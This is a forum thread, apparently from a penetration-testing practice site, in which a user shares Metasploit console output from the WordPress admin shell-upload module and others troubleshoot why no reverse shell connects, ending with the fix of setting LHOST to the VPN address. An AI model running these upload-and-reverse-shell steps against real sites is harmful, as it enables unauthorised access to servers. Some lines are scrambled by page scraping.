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I can not get Metasploit to connect. Had it working yesterday but today spent hours trying different configurations to get access. doesnt seem to matter what I do, I get either "Exploit completed, but no session" or it tells me i must manualy delete the php files? Any one got any ideas?

msf5 > use exploit/unix/webapp/wp_admin_shell_upload
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD [email protected]!
PASSWORD => [email protected]!
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME admin
USERNAME => admin
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set TARGETURI /wordpress
TARGETURI => /wordpress
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set RHOSTS can use Markdown in your post.
msf5 exploit(unix/webapp/wp_admin_shell_upload) > run

[] Started reverse TCP handler on
] Authenticating with WordPress using admin:[email protected]!...
[+] Authenticated with WordPress
[] Preparing payload...
] Uploading payload...
[] Executing the payload at /wordpress/wp-content/plugins/BwHumiTWxa/rktORNWnDA.php...
[!] This exploit may require manual cleanup of 'rktORNWnDA.php' on the target
[!] This exploit may require manual cleanup of 'BwHumiTWxa.php' on the target
[!] This exploit may require manual cleanup of '../BwHumiTWxa' on the target
] Exploit completed, but no session was created.



  • edited April 18

    I was getting the same error, but updated the firewall rules and run msf as sudo and got the connection working. Hope this helps

  • open up your firewall.

  • Sorted chaps. Thank you.

  • @infotechcareer said:
    open up your firewall.

    Sorry, Noob here, how is this done? I have tried opening a port with ufw but that did not work. I am not sure what firewall I should be opening to run the metasploit exploit

  • Hi, im having he same problem here. I'm not sure how/what i need to open up the firewall with. ive tried installing ufw and running with ufw disable. can someone give me a pointer?

  • Rather than the firewall blocking traffic, I forgot to set my LHOST, which defaulted to the local VM address instead of the VPN address that the target can connect to.

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